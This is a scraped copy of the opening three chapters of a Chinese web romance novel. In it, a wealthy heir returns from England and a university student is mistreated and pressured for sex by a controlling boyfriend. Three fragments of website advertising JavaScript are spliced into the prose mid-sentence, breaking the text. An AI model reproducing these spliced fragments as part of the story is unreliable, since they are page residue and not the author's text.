《骤雨时分》 1. 大雨 《骤雨时分》文/薄荷小企鹅 2024/10/9晋江文学城首发 - 擎天会所内,麻将机自动洗牌,林想点了根烟,烟雾在指尖徐徐上升。他看着不急不慢沏茶倒茶的肖玄疏,几年不见,面前的人像是恍若隔世。 “玄疏,你回国半个月了,感觉怎么样?” 对面的男人从茶几回到麻将桌前,偏着脑袋叼烟依旧一副玩世不恭的样子,好看的桃花眼让人看不出情绪。肖玄疏嗯哼一声:“还行。” 机器快速码牌后,一桌四人不急不慢地抓牌。只听旁边的李世“啧”了一声,贱兮兮地说道:“林想,你今天怎么不叫个小妹给我们肖总接风洗尘。” 哪壶不开提哪壶。林想昨晚泡在女人堆,回家就被妹妹批评了一顿,今天约几个兄弟打牌,好好清净一下。不过最主要目的还是和刚回国的肖玄疏套近乎,打打感情牌。 “我今天可是单纯来打牌的,”林想叼着烟见李世笑得没心没肺,于是好心提醒:“倒是你,等下输了别嗷嗷叫。” 李世打开烟盒扔给他一根烟,又给肖玄疏一根烟。肖玄疏没抽,接了烟放在桌上,专心打牌。 当下一壶水快开的时候,肖玄疏淡定摊牌:“胡了。” “不是,你怎么又胡了?” “我差一点就,玄疏你今天手气这么好?” “厉害厉害!” 一桌好友捶胸顿足,李世看向林想的眼神十分幽怨。一副“你做局却要我买单”的样子,虽然大家打牌没明着喂牌,但肖玄疏才刚回国,几个好友上赶着联络感情,多少都放了点水。林想安慰地拍了拍李世肩膀,给他默默加油。 一盏茶的时间又结束了一局,李世总算扳回点局面。李世佯装淡定地喝了杯茶,紧接着又盯紧自己手里的牌。 “一会儿去晚庭喝酒?”林想问他。 肖玄疏把手里的牌打出去:“不喝。” 话音刚落,肖玄疏手机响了,看了一眼来电人摁掉,过了几秒手机又响了起来,肖玄疏接了电话,听见电话里熟悉的声音,他眉头微蹙。 “玄疏,听说你回国了,什么时候有空吃个团圆饭?”电话里的男人声音沉郁内敛,语速沉缓像是在好声好气地商量。 “二哥,过几天,”肖玄疏刚好摸了张不想要的牌,有点不耐烦,“我现在没空。” 还没等电话那端的人回应,他按掉了电话,短短十几秒的通话,让气氛降到了零点。 李世看了一眼肖玄疏打出来的牌,拿来凑了个顺子,随口说:“肖,你回来的正巧,你二哥上个月离婚回归单身生活,小道消息现在他身边有个二线女明星。” 肖玄疏眼皮都没掀一下:“早就猜到了。”当初的豪门联姻,如此也不过持续了五年。 林想专注于打牌,一时间忘记对方的雷区:“当初你出国,听说沈家那位大小姐哭了好几天呢。” 话音刚落,旁边的李世佯装嗓子不舒服咳了两声,林想意识到自己说错话,摸了摸耳朵想挽回话题。 肖玄疏的手在麻将牌上顿了顿,语气漫不经心:“关我什么事。” 李世“啧”了一声:“林想你别乱讲,我们肖老板孤家寡人的……” 肖玄疏吸了口烟,嘴里缓慢地吐出淡淡的烟雾,眼眸的深意如同幽黑的深潭让人捉摸不透:“都过去了。” 当年沈家千金口口声声非他不嫁,两家长辈定好了豪门联姻,订婚前夜肖玄疏一个人跑到英国说要去环游世界。但圈内好友无人不知肖玄疏放浪不羁的个性,去了英国就像人间蒸发,一点消息都没有。 “回来有什么打算?继承家业还是打算再逍遥一阵子?”林想问他。 李世抢答:“这还用问,不出两天他就得被肖老爷子抓回家。” 肖玄疏笑而不语,他回国的消息圈内几乎都知道了,待不了几天,自然会有人把他“请”回去。 中间几局林想胡了一次,不过还是肖玄疏率先胡了三局。而输最多的李世把信用卡放到桌子上,嘴上仍不服输:“今天你老玩家回归保护期,下次我挑个好日子赢回来”。 肖玄疏出门的时候去前台买单,身后的李世刚想和林想调侃肖玄疏付钱时的背影潇洒,低头一看到手机账单的短信提醒,捂着心口嗷嗷乱叫。 “你丫儿的拿老子卡把全场单都买了?”李世瞪大了眼睛,“你这是慷他人之慨!慷他人之慨!” 肖玄疏不置可否地勾了勾唇,动作利落地上车启动油门,一溜烟的功夫人已经不见了踪影。 - 九月的C市仍是夏季,繁星闪烁,夜风中带来雨后泥土的潮湿,空气中有着栀子花的浓郁温和的香味。 三年前熟悉而又陌生的街道,原本还在施工的大楼现在已然拔地而起,摇身一变成了摩天大厦。附近的商区大楼鳞次栉比,虽然已经晚上十点多,商业大楼仍旧灯火通明。C市五环外有个晴湖公园,傍晚湖边有人支着鱼竿钓鱼,鹅卵石小路有几个中年人聊天散步。 他来到公园后面那条狭窄未被开发的小路,幽暗的路灯下传来一对男女的争吵声。 肖玄疏的车停在路边,站在路边叼着烟准备点烟,打火机啪地一声亮起火光,他低头吸了一口烟缓慢吐出,像是长舒了一口气。他倚在车旁,好整以暇地看着不远处的两人。 “都说了这边肯定过不去,你非不听,现在好了吧!”男声充满了烦躁,此刻正弯腰拎着裤腿从花丛泥土努力走出来。刚下过雨,草丛里的泥土湿润松软,他用奖学金新买的摇号款AJ上现在满是黄泥。 身旁的女生一直低头道歉,小心翼翼地跟在男生身后,从泥泞的花丛中往马路上走。两个人也不知是谁先脚滑,一声尖叫过后两个人同时摔到了草丛的黄泥里。 “陈易你想干嘛!” 情侣中的男人像是被激怒了一般,站起身后直接甩开身后女生的手,他生气地从黄泥地里艰难地拔出来腿,在花岗岩的花坛边蹭掉鞋底的黄泥。 “对不起,我不是故意的。”女生也试图快速从黄泥花丛里脱身,但由于脚下湿滑,她险些再次摔倒。 男生两只脚在花坛边蹭来蹭去,嘴里还时不时地叨叨:“谈恋爱之前也没发现你这么傻,陈易你最近怎么总干这种不带脑子的事。” 叫做陈易的女生小声辩解道:“之前我和室友来这边,那时候还没有装围栏,是可以出去的……” 男生看着自己新买的鞋上的黄泥,心里就觉得有一股火在燃烧。这双鞋是他好不容易才买到的,想着今天出来约会穿一下,结果现在弄成这个样子。 “这种黄泥一旦沾上,拿到洗鞋店都不一定能洗干净。”他皱着眉头,嘴上在不停抱怨,似乎早就忘了今天是出来约会的。 “我重新给你买一双吧,我看一下在哪里买。”陈易焦急地掏出手机打开购物app,搜了一下新款AJ,但是没有找到一模一样的。 “找不到吧?找不到就对了!这是我摇号抢到的,那么容易买的话早就烂大街了!” 陈易闻言站在原地一时不知该怎么办,夏夜的风温柔地拂过她的身体,却让她觉得身上的冷汗涔涔越来越冷。 “张志漫,对不起。”陈易低着头,咬紧牙关努力不让自己眼泪掉下来。 这已经是第二次这样的争吵了……明明走这条路之前,他也同意了呀,可为什么现在的错都算在她一个人身上?而且雨天本来路就不好走,难道走马路就不会有泥土沾在鞋子上了吗? 张志漫没答,径直地往前走。陈易深吸一口气去追上他,讨好般的像以往那样抱住他的手臂,却被他无情甩开。 “别跟着我,”他声音冷冰冰的,哪里有一点平时温和的样子,“我今天不想理你。” 陈易没有再去追他,站在原地一时不知该说什么。就这样看着张志漫头也不回地走远,她觉得自己心里好像有一块碎掉了似的。 她站在原地有五分钟,心想如果他愿意回来叫她,哪怕只是冷冰冰地叫她“快点 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 走”也好,可是没有。她只能看着他的身形逐渐消失在暗淡的路灯下。 他丢下她一个人走了。 陈易坐在路边的花坛上,一时间觉得自己有点想笑,但是她笑不出来。不知道是不是天空下了雨,她看见有几滴水落在了地面,她看向天空,眼前的世界却好像突然模糊了似的。 她坐在原地抽泣了一会儿,有几只讨厌的蚊子嗡嗡地围着她飞,似乎在挑选合适的地方咬人。陈易无力地挥手驱赶了下,听见身后传来脚步声。 她喜出望外地转过身:“张志漫,我……”泪水却像凝结在了脸上,后面的话噎在了喉咙。 那是和张志漫完全不同的一个男人,他穿着黑色的T恤和深色修身长裤,脚上一双布洛克雕花的皮鞋。昏暗的路灯从他身后的地方照射过来,长长的影子落在地面映照住她柔弱的身躯。 她看不清楚男人背着光线隐晦的神情,高大的身形和陌生的气息让她感到不安,尤其是在这样偏僻的小路上。脑海里越来越多“女大学生被拐卖到山区”的信息在这一瞬间冲了出来,她就这样愣了两三秒,正要撒腿跑的时候,那人开口说话了。 “你还在这里等?他不会回来了。”低沉悦耳的声线莫名给人一种疏离感,他已经看到她的那位男朋友到了前面就坐出租车走了。 男人走近了,陈易才渐渐看清他的容貌。高挺的身形、如同雕刻的面容清绝,好看的桃花眼极具吸引力,薄唇抿着让人看不出半点情绪。他走过来时刻意放慢脚步,周身的气息带来了强烈的压迫感,他的身上萦绕着温和清绝的古龙水味,是清冷的雪松和温暖的相思木交缠的温柔味道。 “他不要你,就和他分了吧。”肖玄疏眼眸轻睨着面前的人,英俊的面容并不带有情绪。 她的眼眶里仍有泪水在打转,一双明亮的眼眸即便是流泪都像是有星子闪烁。刚才她满怀期待转过身时,那瞬间就像是春樱突然在寒冬绽放,可她现在就像是一朵枯萎了的花,眼泪又落个不停。她的双手紧张的放在胸前,像是生怕他做出什么不可控制的举动。 “一说分手你就哭,那你刚才怎么不去追他?”肖玄疏轻哂,觉得她矛盾的样子像惊慌失措的小鹿。 陈易被他这么一问有些慌了神,张了张嘴却不知道说什么。她也想问自己到底是在等什么?以张志漫的性子怎么会回来找她呢?每一次都是她卑微低头,被他拿捏的死死的。 “我……”她忍住眼里又要滴落的泪水,声音有些颤抖,“算了,我自己回去。” 肖玄疏没有劝她,好整以暇地跟在她身后,她走一步他就跟一步。陈易开始的时候走走停停地想要甩掉他,后来她走到公园外的路上,等了几分钟叫不到出租车。 “你是打算走回去吗?”肖玄疏开车闲来无事跟在她后面,语气里充满诧异。月黑风高的夜晚,她就这样走在C市四环外近郊的地方,怕是到天亮都到达不了。 陈易没答,看手机导航继续沿着马路走,不知道是走了多远,陈易坐在路边的长椅喘息休息。位置越走越偏,哪里有什么出租车会来这种地方揽客。 陈易看向坐在车里的男人,虽然不知道对方为什么一直跟着自己,但眼下好像也没有其他选择:“我能付你车费,送我回去吗?” 肖玄疏垂眸看着楚楚可怜的陈易,心中早就猜到了这样的结局,微微点头让她上车。 已经过了高峰时间段,车子在路上开得飞快,坐在副驾驶的陈易心情始终不能平静。她第一次坐这么高档的车,就连车内的靠枕座椅都是真皮的,她坐得拘谨笔直,丝毫没有注意到旁边的男人通过车内后视镜看了她很多次。 “就在这边停吧,谢谢。”陈易不敢让这样高调的车开到C大的校门口,那样会引来很多同学的关注。 路边来往的人仍旧很多,陈易担心被熟人碰到,下了车像是做贼一样小心翼翼走进后街胡同,听见身后传来男人调笑的声音。 “这世上男人很多,以你的条件,不需要委屈自己。” 2. 雨天 《骤雨时分》文/薄荷小企鹅 2024/10/9晋江文学城首发 - 陈易回到宿舍,室友孙美黎刚好拍完短视频,和另外两人收拾地面的时候瞥见陈易眼睛红红的,像是哭过了。 “小易,谁欺负你了?”孙美黎搬了个凳子,坐到陈易身边,一副愤愤不平的样子:“哪个不长眼的敢欺负我们外国语学院的系花!看我一拳打死他!”孙美黎很少见到陈易这副样子,印象里的陈易都是说话很温柔、爱笑又腼腆的美人。 陈易坐在桌子前,心绪乱糟糟的心里都是刚才发生的事情,她摇了摇头什么都没说。室友李眉和杨甜甜也围了过来,纷纷安慰陈易。 “小易,你怎么啦?遇到什么不开心的事情了?” “有什么事情说出来大家一起解决,你别哭呀。” 桌子上的梳妆镜里透出她姣好的容貌,脸颊两侧的秀发有些凌乱一缕一缕的,还有几根发丝被.干涸的眼泪粘在脸上,她的眼睛红红的像是一直兔子,不是像那种急了要咬人的兔子,明明很委屈很难过却故作镇定的样子让人有些心疼。 孙美黎拍了拍陈易的肩膀,随口问道:“是不是张志漫欺负你了?” 李眉的男朋友和张志漫是室友,李眉小声嘀咕:“不能吧……刚才我男朋友还说和张志漫去网吧做程序作业了,难不成他们根本没去?” 其实张志漫早就回来了,一到寝室就叫了室友一起去网吧搞程序课的作业,只留陈易在晴湖公园,直到现在张志漫也没有给她发条消息或是打个电话,他就把她扔在那里像是遗忘了一样。 陈易抿了抿唇,垂下眼眸:“没事,我……有点想家。”一直以来张志漫在大家心里都是好印象,她不想让别人知道今晚的事情,不然谁的颜面都挂不住。 室友几人附和:“哎呀小事小事!还有半个月就国庆了,听说今年咱们学校放八天假呢。”大家在闲聊的过程中转移了话题,几个人又讨论起孙美黎刚才拍得视频。 晚上十二点宿舍熄灯,陈易洗漱完毕躺在床上,终于在熄灯前收到了张志漫发来的聊天消息。 【郜岩(张志漫):小易,你回学校了吗?】 陈易把手机放到一旁,想等一会儿再回复他,转身把床帘拉上的功夫,张志漫又发来了两条消息。 【郜岩(张志漫):宿舍都门禁了,你该不会还没回来吧?】 【郜岩(张志漫):你给我发个定位,我叫个车去接你,你一个女生在外面待着多不安全。】 室友都拉上床帘准备睡觉了,陈易怕他突然打来电话,于是马上回复他。 【陈皮好甜(陈易):我已经在宿舍了,刚才在洗漱。】 聊天窗口显示对方正在输入,陈易等了五六分钟也没看见张志漫发来消息,索性直接睡觉了。 第二天孙美黎带着杨甜甜去买拍摄要用的道具,两个人早早就出门了,室友李眉背着电脑包要去图书馆自习,离开寝室的时候拍了拍陈易的窗帘。 “小易,我去图书馆了,你记得下来锁一下门。” 陈易不知道今天为什么特别困,本来周末没课她没有订闹钟,现在一看都已经八点多了。她下来锁门,顺便看了一眼手机通知栏,发现有几个张志漫打来的未接电话,她回拨过去,电话嘟了三声被无情挂断。 手机上两个人的聊天窗口还保持着昨晚的消息,张志漫也没有给她发消息,她翻来翻去想不明白他找自己有什么事情。陈易去洗手间的时候感觉小腹一阵疼痛,一看果然比上个月提前了三天,她捂着肚子回到床上,捧着手机等待一会儿再给张志漫打电话。 大约十点的时候,陈易再次给张志漫拨打电话。张志漫这次很快接了电话,语气不悦:“早上给你打了好几个电话你都不接,我都到你宿舍楼下了!” 陈易匆匆从四楼跑下去,张志漫坐在女寝楼下的台阶上,进出宿舍的女生都好奇地打量着这个人。 “我在这里等你半天了,别人看我跟个傻子似的,不知道的还以为我被甩了!”张志漫瞪了一下刚才打量自己的几个女生,那几个女生却没有生气,反而觉得他大叫的样子很奇怪。 “我给你打了十多个电话,你都没接。”张志漫抱怨道。 陈易主动讨好似的牵了一下他的手,脸色有点白,声音弱弱的:“对不起,我静音了没听见。” 他捏了捏陈易的手,见陈易的脸色不太好,关心地问道:“宿舍没开空调?热成这样。” 陈易哪里是热的,每次来月经的第一天都痛得死去活来。 “没有,刚才下楼太急了。” 张志漫完全不像昨天那副发怒的样子,而是哼哼着歌牵着陈易的手往外走,在校园里偶遇几个土木工程的学弟学妹和他打招呼,还向身边的陈易投来好奇赞叹的目光。张志漫此时红光满面,嘴角压不住的上扬。 “其实我今天本来想早点来找你的,刚才我导师临时把我叫走让我帮个忙,有几个学弟想参加土木设计赛‘珑海杯’,我导师让我给他们讲讲经验,”张志漫看向身侧的陈易,正午和煦的阳光落在陈易的头上,白瓷般的肌肤细腻透亮,好看的面容在阳光的照耀下显得更加清雅温柔,此时此刻他很满意自己的系花女友,语气比先前柔和许多:“刚好那边结束,我就来找你了。” 两个人闭口不谈昨天晚上的事情,其实昨天晚上陈易也想了很多办法,二手平台有九成新的同款,或者她试试拿到洗鞋店能刷成什么样子,实在不行她就赔钱给他。可是张志漫没主动提,陈易也不想勾起两人昨晚不悦的回忆。今天张志漫换了一双新鞋,看上去也是同系列的AJ板鞋。 陈易的视线从他的鞋上移开,问他:“我们要去哪里?”现在已经到了饭点,虽然周末没什么课,但是路上的人也不见少,基本都是奔赴食堂或者刚从食堂出来的。 “我们去外面吃点东西,带你去一家超好吃的店。”出了校园,张志漫叫车到附近的一家炒菜馆。 餐馆隐藏在居民楼,老板自 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 行改装成了门市房。这里的人也不少,价格便宜大部分都是来聚餐的大学生或住在附近的居民楼邻居。 张志漫熟练地点了两个小炒,走到前台买单:“老板,再拿一瓶矿泉水。”看到旁边的冰箱里有凉拌菜,补充道:“老板我再拼个凉菜,8元自选三样是不?” 陈易从来没有来过这样的地方,像是专门开外卖窗口的小作坊。今天身体不舒服本就没什么食欲,这家餐馆店小人多,狭小的环境空气不流通,整个饭馆内都是后厨炒菜的油烟味。餐桌像是小学生的书桌,椅子是市场卖得最便宜的矮脚塑料板凳。两个坐在中间接近过道的位置,总有进出的人不小心碰到他们。 陈易小心翼翼地用一次性筷子扒拉着碗里的米饭,只想着把米饭吃完出去呼吸新鲜空气。张志漫吃得畅快,大快朵颐的同时见陈易不怎么夹菜,抬手给她夹了一片丝瓜。 “丝瓜炒蛋多有营养啊,多吃点,别浪费了。” 陈易看着面前碗里的那片丝瓜,饭馆里浓浓的油烟味让她有点反胃,她犹豫了下放下筷子。 “我有点头晕,出去等你。” 张志漫并没察觉出什么,丝瓜炒蛋和爆炒腰片,这两道菜可是他和室友们最爱吃的。尤其是爆炒腰片每次一上来,那几个室友就跟饿狼一样抢着吃,他不理解陈易居然这么挑食。 张志漫仰头喝了口矿泉水,把剩余的三拼凉拌菜也全部夹到自己的碗里。 前几天的天气还算不错,但是一到周末就开始阴天,陈易内心庆幸还好今天没洗衣服,不然下一场雨又一时半会晾不干。陈易肚子痛一直有点冒虚汗,站在门口,忽然凉风这么一吹让她更难受了。她微微弯腰靠在门外的石头砌的墙壁上缓息,微信提示音响个不停,她打开手机看见是孙美黎和杨甜甜在寝室四人寝发的消息。 【梨子好美(孙美黎):[定位]这家甜水铺子刚开业,全场买一送一,我和甜甜吃爽了哈哈!】 【杨梅好酸(杨甜甜):[照片][照片]小易、李眉,你们有空记得来尝尝,推荐推荐!】 陈易看着群里的美食照片,在群里回了个“比心”的表情包。身后又是一股肉片炒辣椒的油腻味道,陈易从孙美黎发的照片里回过神来,饭馆来往的人仍旧不断,五分钟后张志漫从里面出来了。 “先找个地方歇歇脚吧,我看这天要下雨了。”张志漫随手从饭馆门口扯了一张纸,擦了擦满是油的嘴。 陈易本以为他会找一个电影院或者去像亿达那样的室内商场,结果他带着她来到了附近的一家旅馆。这旅馆外面看起来年久破旧,门口一股潮湿的霉味,从外面看连个窗户都没有。 外面阴霾笼罩,旅馆里头也黑漆漆没点一盏灯,破旧的木质楼梯旁摆放着拖把、油漆桶等杂物,看管前台是个头发半白的老太太,正在用手机打斗地主,听见有人进来,头都懒得抬,单手把价格小卡片往二人面前一推。 “钟点房12一小时,过夜的单间60、双人90,你们要开啥房?” 3. 夏天的雨 《骤雨时分》文/薄荷小企鹅 2024/10/10晋江文学城首发 - 张志漫往陈易的方向看一眼,语气比刚才要温和许多:“小易,你今晚还要回去吗?” 陈易看着旅馆的糟糕环境忍不住蹙眉,“现在还是中午,不如我们去附近的亿达商场逛一下吧。”话音刚落,外面“轰隆”响起雷鸣,雷声殷殷大雨将至。 张志漫双手插在裤兜里,手指不停地摩挲着钱夹,心里有点躁动。 “马上要下雨了,我们在这待会儿再走。”他提议道。 陈易没来得拒绝,外面突然刮起一阵大风,路面的灰尘和沙石被卷进屋里,树枝被吹得沙沙作响。伴随着又一声“轰隆”的雷鸣,顷刻间下起倾盆大雨,打在路面哗啦哗啦的。 前台的老太太三步并作两步地小跑过去,将两人身后敞开着的玻璃门关上:“唉哟,这大雨真是说下就下。” 老太太这局斗地主刚结束,抬头问二人,语气不算好:“你俩到底开不开房?不开就赶紧走。”眼见外面雨这么大,老太太仍旧毫不客气地赶人。 张志漫是个要面子的,总不想被人赶出去挨浇,于是没等陈易同意,便把自己的身份证从钱夹里拿出来。 “开钟点房,先开一个小时的。” 老太太把张志漫的身份证登记后,钥匙往桌子上一放,也没管一旁的陈易,转头又开了一把斗地主。 陈易跟在张志漫身后上楼,张志漫走在前面似乎很着急,陈易有点跟不上。狭窄的楼梯没有安装壁灯,陈易摸索着楼梯的扶手小心小心翼翼地注意脚下的楼梯,陈易踩在楼梯地板上小心翼翼的,生怕陈旧的地板发出一点令人尴尬的声响。 刚到二楼,楼梯口的一间屋子传出来女生哼哼呀呀的声音。 陈易身形一顿,羞耻心让她低头假装什么都没听到,张志漫刚好转头看见陈易站在那里,轻嗤一声把陈易拽到自己身侧。 进门后张志漫从陈易身后抱住了她,下巴靠在陈易的脸侧:“小易,我好想你。”男人此时跟平日里的书卷气息完全不符,两只手像是绳子一般把陈易锁得死死的。 陈易还没反应过来,抬手微微挣扎了下。张志漫却不撒手,拂过鼻尖的秀发有些微微凌乱,他深深地吸了一口气,怀里的陈易温软可人,身上的馨香像是盛放的百合,清纯中带着浓烈迷人的情愫。 “小易,你喜不喜欢我?”张志漫嘴里说着情话,期待怀里的人给他想要的答案。 陈易被他勒得快要喘不过气,这间屋子里连个窗子都没有,窗帘后面是一副贴画的假窗户。狭小的空间带着夏季燥热和雨天的潮湿,空气中有一种怪异难闻的味道,她一时间觉得呼吸都有些困难。 “我想去一下洗手间。”陈易无奈找个借口摆脱他,匆匆关上洗手间的门。 张志漫等陈易出来,也飞快地去了洗手间。一阵流水声后,张志漫脸色阴霾密布,黑框的近视眼镜显得他整个人更加冷酷,像是墙壁上的一尊青铜雕塑。 “你是不是来月经了?”他看到了垃圾桶里带血的纸巾,刚进门时的喜悦和期待瞬间被浇灭了。 陈易轻轻点头,还没来得及说话,张志漫忍着怒气,道:“那你怎么不早说?我开完房你才讲!” 陈易觉得自己有些无辜,刚才明明是因为外面突然大雨,两个人被迫在这里歇脚的,怎么突然变成这种事? “你不是说来歇歇脚?我以为是要等雨停。”而且谁会想着开一个小时的钟点房做这种事情? “陈易你能别这么单纯吗?”张志漫冷冷说道,撸起袖子两手叉腰,“上次你说不行,这次你又身体不方便,你要拖到什么时候?” 陈易不解,“我拖什么?”明明是他要来的,要不要开房间有问过她的意见吗?面对张志漫的暴怒,陈易瞬间觉得有些委屈,她忍住泪水转过头假装在看粗糙的灰色墙壁。 “我们都谈三个月了,我觉得谈还是没谈、没什么区别!”张志漫坐在床边,想起上次的情景,烦躁地抓了抓头发,心一横故意道:“你要是不想让我碰,你就找别人去吧!” 陈易刚还在眼眶打转的眼泪突然掉了下来,当初追了她两年,口口声声说愿意一直等她,现在不过三个月却变成了这样敷衍冰冷的人。曾经拿了奖要和她一起拍照留念、半夜帮她改马哲小论文、顶着大雨给她来送伞……之前的那些美好回忆,到了今天又算什么? 陈易忍着心里的情绪,仍旧没说话。而张志漫背对着她,嘴里仍在喋喋不休。 “我最好的兄弟都和女友睡两年了,也没见谁说开个房就不让碰的,”他把在心里积攒很久的话一口气说出来,语气也越来越冲动:“我也答应你了,等你毕业我们就结婚,你还想怎样?” 张志漫越来越大的声音换来的是陈易轻微的哽咽:“我不知道你今天会来。”她用手背轻轻地抹了下眼睛,即便想着不能哭这有什么好哭的,可眼泪还像断了线的珍珠一粒一粒往下掉。 张志漫听见她哭泣哽咽的声音,他更加心烦意乱了。他不明白自己哪里得罪了她,她要哭得这么梨花带雨楚楚可怜,现在该生气的明明是他吧? 张志漫心里乱得像一团麻:“算了,我今天确实没提前告诉你,王老师临时叫我带带学弟学妹的,我今天也没想和你怎样。”话语刚落,张志漫的手机响了。张志漫走到门外接电话,只留陈易一个人在屋里。 陈易吸了吸鼻子,听着走廊打电话的声音,她的心情稍微有些平静下来。她多么希望此刻也有一个人打来电话,短暂地将她从这复杂的情绪中解救。 她抽几张纸巾按在眼角,深吸一口气。张志漫刚才的那番话将她的心割开了个口子,原本平静温和的这段感情现在变得复杂又难熬。孙美黎曾和她说过,男人和你在一起就是想和你上床,但上床之前也得先分清对方是人是鬼。 看似和别人不同的优秀耀眼的张志漫,与那些嘴上说非她不娶然后被她拒绝就无缝接档的男人,又有什么区别呢? 陈易不知自己是否后悔当初的决定,小腹传来的阵阵疼痛让她忍耐着弯腰靠在墙壁上。脚步和开门声传来,张志漫进来后,看见仍在墙边一动不动的陈易,像是一只可怜兮兮的小流浪猫,一时不知该说什么。 沉默片刻,他从桌子上抽了张纸递给她,“别哭了,跟个小花猫似的,不知道的还以为我欺负你了呢。”见陈易没接,他走过给她擦掉眼泪。原本看似温柔的动作,却让陈易觉得有些敷衍的意味。 张志漫不知道如何哄女生,听着抽泣声有点难受。后悔刚才不应该对她说那样的话,既然和她在一起了,就要懂得珍惜。 “都是我的错,你别哭啦。”张志漫拉住她的手腕,嘴上说着生涩的话,“好啦,你别生气啦。” 见陈易还是没理自己,张志漫无奈地看了一下手机,叹气道:“快到时间退房了,咱们走吧。我导师叫我给那几个学弟指导一下,刚好我送你回学校。” - 凌云会所,008VIP包厢内,林想叫了几个圈内好友过来,说给刚回国的肖玄疏接风洗尘。 包厢内的灯光半明半暗,麻将桌前四个人打着麻将,不远处的真皮沙发上坐着三四个人,中间C位的正是林想嘴里的主角。 茶几上开了几瓶酒,林想倒了酒,把打麻将的四个人叫过来。 “小霖,你们几个过来喝酒啊。” 叫做小霖的年轻人像是兔子一样蹿过来,挤到林想身边,林想笑着把他赶到旁边的沙发上。 “去去去,上那边坐着,跟我挤在一起干嘛?” 小霖笑着哼了一声,打趣道:“你还真往自己脸上贴金,我是想离肖哥近点。” 肖玄疏看着面前这少年,脑海里却回忆不出一点相关联的信息。林想给他介绍:“这位是小霖是高哥的小儿子,今年才19,还在上大学。” “高晟的儿子?我怎么记得他只有一个女儿。”肖玄疏蹙眉,始终想不起来这偏僻的信息。 李世凑到他耳边,用两个人才能听到的声音说:“高晟早都离婚了,和二婚老婆的,之前是私生子来着。”高晟和前妻关系闹得很僵,前妻家也是外贸行业发家,和林家走得也比较近。 肖玄疏笑了一下,毫不避讳:“林想,什么人你都敢交,小心引火上身。” 林想的神色有些尴尬,今夕不同往日,高晟这两年翻身起立了,况且两家现在统一战线。 “肖哥,听说您回国,我们都等着给你接风洗尘,让朋友叫了几次您都没空,太难请了哈哈。今天您能来说明看得起我高闻霖,我必须敬您一杯。”小霖在一旁勤快地倒酒,将其中一杯经过茶几推到肖玄疏面前。 见肖玄疏没有要拿杯子的意思,小霖愣了几秒钟,他站的位置正好中央空调对着吹,再加上沙发上那位矜贵的大佬似乎并未理会,小霖感觉自己头皮发麻,小声讨好地说道:“肖哥,我初来乍到,您给个面子呗。” 肖玄疏懒懒地从沙发上坐直,并未起身,手轻微举起杯子示意一下,似乎滴酒不沾的样子。 “不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好意思啊,我今天开车来的。” 在座的哪个不是开车来的,随便一个电话就能把自家司机叫来接人,再不济会所门口的代驾司机也可以解决这个问题。小霖眼见自己敬酒失败,只能硬着头皮喝了手里的酒,觉得手里的酒越喝越苦涩,传闻中性子浪荡不羁、叛经离道的肖家三公子果然如此,就连说话的语气都一点不给人面子,简直就是目中无人。 五六分钟的时间大家相见甚欢、聊得起劲,后来旁人给肖玄疏倒酒,他无一例外的喝了。小霖知道这个圈子自己是后来的且年龄最小,人家不愿意带他也是应该的,但想想自己哪里受过这种气,被人当面羞辱了都得笑着接下来。 小霖一个人在旁边喝闷酒,刚才还热络打麻将的三个人也无人理会他,直到一个保镖敲门。 “林总,舒欣小姐来找您。” 门外的保镖话音刚落,一个看起来只有一米出头的小女孩跑进来。身上还穿着晚间和同学打球的网球服,一进来就冲到了林想身边。 “哥,你又来喝酒!”小女孩气鼓鼓地说,小手一抬把林想手里的烟抢走:“不许抽烟!” 包厢内都被小女孩可爱的模样逗笑了,林想安抚地摸了摸妹妹的脑袋,语气是平日没有少见的温柔:“这么晚,你怎么过来啦?” “你半夜不回家,肯定是出来找女人了!”小女孩笃定地说。 可是小女孩仔细一看包厢内,哪有半个女人的身影,小女孩知道自己错怪了哥哥,撒娇似笑嘻嘻地看着在座的各位,等她瞄见哥哥身边的那个人,她觉得眼熟一时间想不起来,站在原地发呆。那人朝她伸手,语气温和:“过来。” 小女孩一听声音有了印象:“玄疏哥哥!你回来了!”她高兴地欢呼出来,抱住肖玄疏的腿蹭来蹭去像只小狗,“欣欣还以为见不到玄疏哥哥了呢!” 当初肖玄疏连夜飞往英国没有通知任何人,等飞机快落地的时候众人才得知消息。到了英国肖玄疏就关闭了国内手机号码,微信也暂停使用,当然其中也包括拒绝了前天约好次日去公园的林舒欣的电话。 肖玄疏把小女孩抱在怀里,印象中她还是小小的,经常跟在他和李世的身后追赶,现在长大了这么多,居然还是和以前一样粘人。 “现在上几年级了?”肖玄疏问她。 小女孩不假思索:“三年级!” 林想没忍住笑:“你去年是三年级,今年还是三年级?” 小女孩“哦”了一声,才反应过来,慢吞吞地说:“今年我上四年级。” “玄疏哥哥,你之前答应我,陪我一起去画画的,”小女孩眼睛滴溜溜的,眉眼长得和林想几分相似,但脑袋瓜和小嘴可比林想灵活多了:“所以你明天陪我去画画,好不好呀?” 见肖玄疏没有马上回答,小女孩又看向李世。 李世双手举起:“别看我啊我投降,我明天要去B市开董事会。” 小女孩撒娇似地向哥哥林想投去眼神求助,林想把妹妹抱过来讲道理:“玄疏哥哥明天要回家看肖爷爷呢,我们之后再找玄疏哥哥好不好?” 小女孩的脸上明显地露出失望的神色,一旁的肖玄疏见状有些于心不忍,毕竟三年前承诺的如今还没实现:“我这周四下午有空,可以陪你去画画。” 林想让保镖把妹妹林舒欣先送回家,并且承诺她十二点半之前一定回家。 林舒欣一走,有人就坐不住了开始打探消息。 “肖哥,这次回来有什么打算吗?” 肖玄疏坐在沙发上翘着腿,一副吊儿郎当的样子,他往后一靠,半个身子隐在昏暗的灯光下,让人看不出情绪。 “没什么打算,听家里安排。” 此话一出,大家都有些不可置信,毕竟三年前他突然去应该就是为了摆脱家族安排的联姻,现在突然回来会听从家里安排?难不成是在英国无依无靠,家里断了财路才回来? 李世用手肘碰了一下肖玄疏,脸上的表情像是听到了天大的笑话一样:“喂,你不是在逗我们吧?你说这话谁信啊哈哈!” “没办法啊,家大业大总要有个人来继承。”肖玄疏用开玩笑的口吻说,桃花眼漫不经心地看了刚才问话的人一样。 